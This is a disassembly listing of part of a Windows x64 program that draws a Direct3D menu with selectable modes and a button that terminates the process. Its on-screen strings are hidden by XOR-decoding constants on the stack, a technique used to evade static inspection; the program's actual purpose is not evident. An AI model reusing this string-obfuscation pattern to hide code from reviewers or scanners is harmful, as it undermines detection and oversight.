movdqa xmmword [rbp + 0x9b50], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x9b60], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x9b70], xmm5
lea rax, [rbp + 0x5d70]
lea rcx, [rbp + 0x9b40]
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14006fb50
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea rdx, [rbp + 0x5d70]
lea rcx, [rbp + 0x14988]
call fcn.140009160
movsxd rax, dword [0x140200788]
imul rdx, rax, 0x278
add rdx, qword [0x140200858]
lea rcx, [rbp + 0x123c8]
call fcn.140009d20
mov rdx, rax
lea rcx, [rbp + 0x4ef0]
call fcn.1400507e0
mov rcx, rax
call fcn.14005a470
mov rdx, rax
lea rcx, [rbp + 0x14988]
call fcn.14000c740
lea rcx, [rbp + 0x4ef0]
call fcn.14000b160
lea rcx, [rbp + 0x13a8]
call fcn.140082780
movss xmm6, dword [rax]
lea rcx, [rbp + 0x14988]
call fcn.14005a470
mov rdx, rax
movss dword [rsp + 0x20], xmm12
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x13b0]
call fcn.1400780a0
subss xmm6, dword [rax]
mulss xmm6, xmm11
movss dword [rbp + 0x4a0], xmm6
mov dword [rbp + 0x4a4], 0x41200000
lea rcx, [rbp + 0x4a0]
call fcn.14008d5f0
lea rcx, [rbp + 0x14988]
call fcn.14005a470
mov rbx, rax
mov eax, 0x9ebed6d2
mov qword [rbp + 0xe20], rax
movabs rdi, 0xffffffff574cc6d2
mov qword [rbp + 0xe28], rdi
mov eax, 0x9ebea5f7
mov qword [rbp + 0xe30], rax
mov qword [rbp + 0xe38], rdi
movdqa xmm0, xmmword [rbp + 0xe30]
pxor xmm0, xmmword [rbp + 0xe20]
movaps xmmword [rbp + 0x530], xmm0
movaps xmm0, xmmword [rbp + 0x540]
movaps xmmword [rbp + 0x540], xmm0
movaps xmm0, xmmword [rbp + 0x550]
movaps xmmword [rbp + 0x550], xmm0
movss xmm0, dword [0x140114074]
movss dword [rsp + 0x20], xmm0
movaps xmm3, xmm7
movaps xmm2, xmm7
movaps xmm1, xmm7
lea rcx, [rbp + 0x4eb0]
call fcn.140009b30
mov r8, rbx
lea rdx, [rbp + 0x530]
mov rcx, rax
call fcn.1400ae890
movss dword [rsp + 0x20], xmm11
movaps xmm3, xmm10
movaps xmm2, xmm10
movaps xmm1, xmm10
lea rcx, [rbp + 0x4ea0]
call fcn.140009b30
mov rdx, rax
mov ecx, reloc.WS2_32.dll_setsockopt
call fcn.140089bb0
mov dword [rbp + 0x4a8], 0x41c80000
mov dword [rbp + 0x4ac], 0x42200000
lea rcx, [rbp + 0x4a8]
call fcn.14008d5f0
mov dword [rbp + 0x4b0], 0x42480000
mov dword [rbp + 0x4b4], 0x41b00000
movabs rax, 0x130c334b9c1601a1
mov qword [rbp + 0xe40], rax
movabs rdi, 0xb16176d8710dd7a
mov qword [rbp + 0xe48], rdi
movabs rax, 0x130c5828fd54219d
mov qword [rbp + 0xe50], rax
mov qword [rbp + 0xe58], rdi
movdqa xmm0, xmmword [rbp + 0xe40]
pxor xmm0, xmmword [rbp + 0xe50]
movaps xmmword [rbp + 0x4620], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x4630], xmm0
movaps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0x4640], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x4650], xmm0
movaps xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x4660], xmm0
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x4670], xmm0
movaps xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x4680], xmm0
lea rdx, [rbp + 0x4b0]
lea rcx, [rbp + 0x4620]
call fcn.1400a5fd0
test al, al
je 0x14006fe36
mov byte [0x1402007a0], 0
mov byte [0x1402007a2], 0
mov dword [0x1402007a4], 0
mov dword [rbp + 0x4b8], 0x42be0000
mov dword [rbp + 0x4bc], 0x42200000
lea rcx, [rbp + 0x4b8]
call fcn.14008d5f0
mov dword [rbp + 0x4c0], 0x43390000
mov dword [rbp + 0x4c4], 0x41b00000
movabs rax, 0x8df6aeaa3e68efe
mov qword [rbp + 0x27d0], rax
movabs rax, 0x644e4095038b5267
mov qword [rbp + 0x27d8], rax
xorps xmm2, xmm2
movabs rax, 0x609c4a9ed187faad
mov qword [rbp + 0x27f0], rax
movabs rax, 0x644e409503ff3302
mov qword [rbp + 0x27f8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x27f0]
pxor xmm0, xmmword [rbp + 0x27d0]
movdqa xmmword [rbp + 0x5ca0], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x5cb0], xmm2
lea rcx, [rbp + 0xb290]
lea rax, [rbp + 0x5ca0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xb0], xmm1
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0xb290]
call fcn.1400a5fd0
test al, al
je 0x140070b12
cmp byte [0x14020079f], 0
je 0x140070b12
cmp dword [0x140200788], 2
jne 0x14007016b
mov rbx, qword [0x140200858]
cmp byte [section..data], 0
je 0x14007005b
movabs rax, 0x13894bc3e7a9d50d
mov qword [rbp + 0xe60], rax
movabs rax, 0xb5b397a423213a6
mov qword [rbp + 0xe68], rax
movabs rcx, 0x13897af7d490e739
mov qword [rbp + 0xe70], rcx
mov qword [rbp + 0xe78], rax
movdqa xmm0, xmmword [rbp + 0xe60]
pxor xmm0, xmmword [rbp + 0xe70]
movaps xmmword [rbp + 0x45b0], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x45c0], xmm0
movaps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0x45d0], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x45e0], xmm0
movaps xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x45f0], xmm0
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x4600], xmm0
movaps xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x4610], xmm0
lea rdx, [rbp + 0x45b0]
lea rcx, [rbp + 0x59c0]
call fcn.140009160
or r12d, 0x40
lea rdx, [rbp + 0x3728]
jmp 0x14007010d
movabs rax, 0x1abc56c9ae4e0c7c
mov qword [rbp + 0xe80], rax
movabs rax, 0x7dbb8d7ce14b260
mov qword [rbp + 0xe88], rax
movabs rcx, 0x1abc62fb9a783a4c
mov qword [rbp + 0xe90], rcx
mov qword [rbp + 0xe98], rax
movdqa xmm0, xmmword [rbp + 0xe90]
pxor xmm0, xmmword [rbp + 0xe80]
movaps xmmword [rbp + 0x4540], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x4550], xmm0
movaps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0x4560], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x4570], xmm0
movaps xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x4580], xmm0
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x4590], xmm0
movaps xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x45a0], xmm0
lea rdx, [rbp + 0x4540]
lea rcx, [rbp + 0x59a0]
call fcn.140009160
bts r12d, 7
lea rdx, [rbp + 0x37f0]
mov dword [rbp - 0x80], r12d
mov r8, rax
lea rcx, [rbx + 0x4f0]
call fcn.1400b79b0
mov rdx, rax
lea rcx, [rbp + 0x50d8]
call fcn.140009620
mov rcx, rax
call fcn.14004fdd0
test r12b, r12b
jns 0x140070151
btr r12d, 7
mov dword [rbp - 0x80], r12d
lea rcx, [rbp + 0x37f0]
call fcn.14000b550
test r12b, 0x40
je 0x14007016b
and r12d, 0xffffffbf
mov dword [rbp - 0x80], r12d
lea rcx, [rbp + 0x3728]
call fcn.14000b550
cmp dword [0x140200788], 3
jne 0x140070357
mov rbx, qword [0x140200858]
cmp byte [section..data], 0
je 0x140070243
movabs rax, 0x1aac15d9eb3376c9
mov qword [rbp + 0xea0], rax
movabs rax, 0x14fcdbf9e0a46e12
mov qword [rbp + 0xea8], rax
movabs rcx, 0x1aac21ebde0245ff
mov qword [rbp + 0xeb0], rcx
mov qword [rbp + 0xeb8], rax
movdqa xmm0, xmmword [rbp + 0xea0]
pxor xmm0, xmmword [rbp + 0xeb0]
movaps xmmword [rbp + 0x44d0], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x44e0], xmm0
movaps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0x44f0], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x4500], xmm0
movaps xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x4510], xmm0
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x4520], xmm0
movaps xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x4530], xmm0
lea rdx, [rbp + 0x44d0]
lea rcx, [rbp + 0x5980]
call fcn.140009160
bts r12d, 8
lea rdx, [rbp + 0x3970]
jmp 0x1400702f5
movabs rax, 0x1ff29c730733d0fc
mov qword [rbp + 0xec0], rax
movabs rax, 0x17c58b638a282174
mov qword [rbp + 0xec8], rax
movabs rcx, 0x1ff2ab463e00e1cc
mov qword [rbp + 0xed0], rcx
mov qword [rbp + 0xed8], rax
movdqa xmm0, xmmword [rbp + 0xed0]
pxor xmm0, xmmword [rbp + 0xec0]
movaps xmmword [rbp + 0x4460], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x4470], xmm0
movaps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0x4480], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x4490], xmm0
movaps xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x44a0], xmm0
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x44b0], xmm0
movaps xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x44c0], xmm0
lea rdx, [rbp + 0x4460]
lea rcx, [rbp + 0x5960]
call fcn.140009160
bts r12d, 9
lea rdx, [rbp + 0x3988]
mov dword [rbp - 0x80], r12d
mov r8, rax
lea rcx, [rbx + 0x768]
call fcn.1400b79b0
mov rdx, rax
lea rcx, [rbp + 0x5150]
call fcn.140009620
mov rcx, rax
call fcn.14004fdd0
bt r12d, 9
jae 0x14007033b
btr r12d, 9
mov dword [rbp - 0x80], r12d
lea rcx, [rbp + 0x3988]
call fcn.14000b550
bt r12d, 8
jae 0x140070357
btr r12d, 8
mov dword [rbp - 0x80], r12d
lea rcx, [rbp + 0x3970]
call fcn.14000b550
cmp dword [0x140200788], 4
jne 0x140070543
mov rbx, qword [0x140200858]
cmp byte [section..data], 0
je 0x14007042f
movabs rax, 0x15d489495887c6df
mov qword [rbp + 0xee0], rax
movabs rax, 0x16263b74798b8702
mov qword [rbp + 0xee8], rax
movabs rcx, 0x15d4b87a68b1f1ea
mov qword [rbp + 0xef0], rcx
mov qword [rbp + 0xef8], rax
movdqa xmm0, xmmword [rbp + 0xee0]
pxor xmm0, xmmword [rbp + 0xef0]
movaps xmmword [rbp + 0x43f0], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x4400], xmm0
movaps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0x4410], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x4420], xmm0
movaps xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x4430], xmm0
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x4440], xmm0
movaps xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x4450], xmm0
lea rdx, [rbp + 0x43f0]
lea rcx, [rbp + 0x5920]
call fcn.140009160
bts r12d, 0xa
lea rdx, [rbp + 0x37d8]
jmp 0x1400704e1
movabs rax, 0x1963e770fd169a48
mov qword [rbp + 0xf00], rax
movabs rax, 0x1a773ea16d0799cb
mov qword [rbp + 0xf08], rax
movabs rcx, 0x1963d442ce21aa79
mov qword [rbp + 0xf10], rcx
mov qword [rbp + 0xf18], rax
movdqa xmm0, xmmword [rbp + 0xf10]
pxor xmm0, xmmword [rbp + 0xf00]
movaps xmmword [rbp + 0x4380], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x4390], xmm0
movaps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0x43a0], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x43b0], xmm0
movaps xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x43c0], xmm0
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x43d0], xmm0
movaps xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x43e0], xmm0
lea rdx, [rbp + 0x4380]
lea rcx, [rbp + 0x58e0]
call fcn.140009160
bts r12d, 0xb
lea rdx, [rbp + 0x3958]
mov dword [rbp - 0x80], r12d
mov r8, rax
lea rcx, [rbx + 0x9e0]
call fcn.1400b79b0
mov rdx, rax
lea rcx, [rbp + 0x5138]
call fcn.140009620
mov rcx, rax
call fcn.140057460
bt r12d, 0xb
jae 0x140070527
btr r12d, 0xb
mov dword [rbp - 0x80], r12d
lea rcx, [rbp + 0x3958]
call fcn.14000b550
bt r12d, 0xa
jae 0x140070543
btr r12d, 0xa
mov dword [rbp - 0x80], r12d
lea rcx, [rbp + 0x37d8]
call fcn.14000b550
cmp dword [0x140200788], 5
jne 0x14007072f
mov rbx, qword [0x140200858]
cmp byte [section..data], 0
je 0x14007061b
movabs rax, 0x1b89749486c3b1e0
mov qword [rbp + 0xf20], rax
movabs rax, 0x3619bfb6e139e3e
mov qword [rbp + 0xf28], rax
movabs rcx, 0x1b8941a1b7f182d0
mov qword [rbp + 0xf30], rcx
mov qword [rbp + 0xf38], rax
movdqa xmm0, xmmword [rbp + 0xf20]
pxor xmm0, xmmword [rbp + 0xf30]
movaps xmmword [rbp + 0x4310], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x4320], xmm0
movaps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0x4330], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x4340], xmm0
movaps xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x4350], xmm0
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x4360], xmm0
movaps xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x4370], xmm0
lea rdx, [rbp + 0x4310]
lea rcx, [rbp + 0x58c0]
call fcn.140009160
bts r12d, 0xc
lea rdx, [rbp + 0x3710]
jmp 0x1400706cd
movabs rax, 0xcf96f1dda68433
mov qword [rbp + 0xf40], rax
movabs rax, 0x16720af7328c4964
mov qword [rbp + 0xf48], rax
movabs rcx, 0xcfaec8ed91b206
mov qword [rbp + 0xf50], rcx
mov qword [rbp + 0xf58], rax
movdqa xmm0, xmmword [rbp + 0xf50]
pxor xmm0, xmmword [rbp + 0xf40]
movaps xmmword [rbp + 0x42a0], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x42b0], xmm0
movaps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0x42c0], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x42d0], xmm0
movaps xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x42e0], xmm0
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x42f0], xmm0
movaps xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x4300], xmm0
lea rdx, [rbp + 0x42a0]
lea rcx, [rbp + 0x5940]
call fcn.140009160
bts r12d, 0xd
lea rdx, [rbp + 0x37c0]
mov dword [rbp - 0x80], r12d
mov r8, rax
lea rcx, [rbx + 0xc58]
call fcn.1400b79b0
mov rdx, rax
lea rcx, [rbp + 0x5120]
call fcn.140009620
mov rcx, rax
call fcn.140055ff0
bt r12d, 0xd
jae 0x140070713
btr r12d, 0xd
mov dword [rbp - 0x80], r12d
lea rcx, [rbp + 0x37c0]
call fcn.14000b550
bt r12d, 0xc
jae 0x14007072f
btr r12d, 0xc
mov dword [rbp - 0x80], r12d
lea rcx, [rbp + 0x3710]
call fcn.14000b550
cmp dword [0x140200788], 6
jne 0x14007091b
mov rbx, qword [0x140200858]
cmp byte [section..data], 0
je 0x140070807
movabs rax, 0x1a4236d748c249b1
mov qword [rbp + 0xf60], rax
movabs rax, 0x10e08e890d29e674
mov qword [rbp + 0xf68], rax
movabs rcx, 0x1a4202ef71f77c88
mov qword [rbp + 0xf70], rcx
mov qword [rbp + 0xf78], rax
movdqa xmm0, xmmword [rbp + 0xf60]
pxor xmm0, xmmword [rbp + 0xf70]
movaps xmmword [rbp + 0x4230], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x4240], xmm0
movaps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0x4250], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x4260], xmm0
movaps xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x4270], xmm0
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x4280], xmm0
movaps xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x4290], xmm0
lea rdx, [rbp + 0x4230]
lea rcx, [rbp + 0x58a0]
call fcn.140009160
bts r12d, 0xe
lea rdx, [rbp + 0x3758]
jmp 0x1400708b9
movabs rax, 0x1c116c7328cabf1c
mov qword [rbp + 0xf80], rax
movabs rax, 0x1f2edd6417e347ba
mov qword [rbp + 0xf88], rax
movabs rcx, 0x1c11594b18fa862c
mov qword [rbp + 0xf90], rcx
mov qword [rbp + 0xf98], rax
movdqa xmm0, xmmword [rbp + 0xf90]
pxor xmm0, xmmword [rbp + 0xf80]
movaps xmmword [rbp + 0x41c0], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x41d0], xmm0
movaps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0x41e0], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x41f0], xmm0
movaps xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x4200], xmm0
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x4210], xmm0
movaps xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x4220], xmm0
lea rdx, [rbp + 0x41c0]
lea rcx, [rbp + 0x5880]
call fcn.140009160
bts r12d, 0xf
lea rdx, [rbp + 0x3770]
mov dword [rbp - 0x80], r12d
mov r8, rax
lea rcx, [rbx + 0xed0]
call fcn.1400b79b0
mov rdx, rax
lea rcx, [rbp + 0x5108]
call fcn.140009620
mov rcx, rax
call fcn.140057180
bt r12d, 0xf
jae 0x1400708ff
btr r12d, 0xf
mov dword [rbp - 0x80], r12d
lea rcx, [rbp + 0x3770]
call fcn.14000b550
bt r12d, 0xe
jae 0x14007091b
btr r12d, 0xe
mov dword [rbp - 0x80], r12d
lea rcx, [rbp + 0x3758]
call fcn.14000b550
cmp dword [0x140200788], 7
jne 0x140070b12
lea rdx, [rbp + 0x14a40]
lea rcx, [rbp + 0x12150]
call fcn.140009d20
mov rdi, rax
movsxd rax, dword [0x140200788]
imul rbx, rax, 0x278
add rbx, qword [0x140200858]
cmp byte [section..data], 0
je 0x140070a17
movabs rax, 0x1a7b00150a965024
mov qword [rbp + 0xfe0], rax
movabs rax, 0x9a698a2bf3630e
mov qword [rbp + 0xfe8], rax
movabs rcx, 0x1a7b332339a76315
mov qword [rbp + 0xff0], rcx
mov qword [rbp + 0xff8], rax
movdqa xmm0, xmmword [rbp + 0xfe0]
pxor xmm0, xmmword [rbp + 0xff0]
movaps xmmword [rbp + 0x4150], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x4160], xmm0
movaps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0x4170], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x4180], xmm0
movaps xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x4190], xmm0
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x41a0], xmm0
movaps xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x41b0], xmm0
lea rdx, [rbp + 0x4150]
lea rcx, [rbp + 0x5860]
call fcn.140009160
bts r12d, 0x10
lea rdx, [rbp + 0x3940]
jmp 0x140070ab1
movabs rax, 0x19fc43690b5e61c
mov qword [rbp + 0xa0], rax
movabs rax, 0x1ee8110d7429c52a
mov qword [rbp + 0xa8], rax
movabs rcx, 0x19ff303a98ddf2c
mov qword [rbp + 0xb0], rcx
mov qword [rbp + 0xb8], rax
movdqa xmm0, xmmword [rbp + 0xb0]
pxor xmm0, xmmword [rbp + 0xa0]
movaps xmmword [rbp - 0x70], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp - 0x60], xmm0
movaps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp - 0x50], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp - 0x40], xmm0
movaps xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp - 0x30], xmm0
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp - 0x20], xmm0
movaps xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp - 0x10], xmm0
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x5900]
call fcn.140009160
bts r12d, 0x11
lea rdx, [rbp + 0x3740]
mov dword [rbp - 0x80], r12d
mov r8, rax
mov rcx, rbx
call fcn.1400b79b0
mov rdx, rax
lea rcx, [rbp + 0x50f0]
call fcn.140009620
mov rdx, rdi
mov rcx, rax
call fcn.14004fcd0
bt r12d, 0x11
jae 0x140070af6
btr r12d, 0x11
mov dword [rbp - 0x80], r12d
lea rcx, [rbp + 0x3740]
call fcn.14000b550
bt r12d, 0x10
jae 0x140070b12
btr r12d, 0x10
mov dword [rbp - 0x80], r12d
lea rcx, [rbp + 0x3940]
call fcn.14000b550
mov dword [rbp + 0x4c8], 0x43960000
mov dword [rbp + 0x4cc], 0x42200000
lea rcx, [rbp + 0x4c8]
call fcn.14008d5f0
mov dword [rbp + 0x4d0], 0x42b40000
mov dword [rbp + 0x4d4], 0x41b00000
movabs rax, 0x52e99ea4f94639a
mov qword [rbp + 0x770], rax
movabs rax, 0x76d48db6ded3ebff
mov qword [rbp + 0x778], rax
xorps xmm2, xmm2
movabs rax, 0x6a62b98f3cfb0fd9
mov qword [rbp + 0x790], rax
movabs rax, 0x76d48db6acb68f9e
mov qword [rbp + 0x798], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x770]
pxor xmm0, xmmword [rbp + 0x790]
movdqa xmmword [rbp + 0x6560], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x6570], xmm2
lea rcx, [rbp + 0xb850]
lea rax, [rbp + 0x6560]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0xb850]
call fcn.1400a5fd0
test al, al
je 0x140070c60
xor edx, edx
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
call fcn.1400892e0
lea rcx, [rbp + 0x14988]
call fcn.14000b160
mov ecx, r13d
call fcn.140089430
mov ecx, r13d
call fcn.140089480
call fcn.14007ef40
movabs rsi, 0x6dfae76112ef6722
movabs rdi, 0x113c330686f3bdb1
mov ebx, dword [rbp + 0x30]
movss xmm7, dword [0x1401140a4]
call fcn.14007f500
mov rcx, qword [0x140200878]
mov rax, qword [rcx]
xor r8d, r8d
lea edx, [r8 + 7]
call qword [rax + 0x1c8]
mov rcx, qword [0x140200878]
mov rax, qword [rcx]
xor r8d, r8d
lea edx, [r8 + 0x1b]
call qword [rax + 0x1c8]
mov rcx, qword [0x140200878]
mov rax, qword [rcx]
xor r8d, r8d
mov edx, 0xae
call qword [rax + 0x1c8]
mov rcx, qword [0x140200878]
mov rax, qword [rcx]
mov dword [rsp + 0x30], r15d
movss dword [rsp + 0x28], xmm9
mov dword [rsp + 0x20], r15d
mov r9d, 3
xor r8d, r8d
xor edx, edx
call qword [rax + 0x158]
mov rcx, qword [0x140200878]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x140070d52
call fcn.140089df0
call fcn.140081960
mov rcx, rax
call fcn.1400a23a0
mov rcx, qword [0x140200878]
mov rax, qword [rcx]
call qword [rax + 0x150]
test dword [r14], 0x400
je 0x140070d69
call fcn.14008f8a0
xor edx, edx
xor ecx, ecx
call fcn.14008ad30
mov rcx, qword [0x140200878]
mov rax, qword [rcx]
mov r10, qword [rax + 0x88]
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call r10
cmp eax, 0x88760868
jne 0x1400660b2
mov rcx, qword [0x140200878]
mov rax, qword [rcx]
call qword [rax + Ordinal_26]
cmp eax, 0x88760869
jne 0x1400660b2
call fcn.140055fc0
jmp 0x1400660b2
call fcn.1400a2ef0
call fcn.1400a41b0
xor ecx, ecx
call fcn.140079610
call fcn.1400182b0
mov rcx, qword [0x1402007e8]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x145b8]
mov rcx, qword [rbp + 0x145e0]
call qword [sym.imp.USER32.dll_UnregisterClassA]
jmp 0x140070e0c
call fcn.1400182b0
mov rdx, qword [rbp + 0x145b8]
mov rcx, qword [rbp + 0x145e0]
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov r15d, r13d
lea rcx, [rbp + 0x149a8]
call fcn.14000b160
lea rcx, [rbp + 0x149c8]
call fcn.14000b160
lea rcx, [rbp + 0x14868]
call fcn.140059be0
lea rcx, [rbp + 0x14888]
call fcn.140059be0
lea rcx, [rbp + 0x14a40]
call fcn.14000b8b0
lea rcx, [rbp + 0x14940]
call fcn.14000b160
mov eax, r15d
mov rcx, qword [rbp + 0x156d0]
xor rcx, rsp
call fcn.140108a30
lea r11, [rsp + 0x15880]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
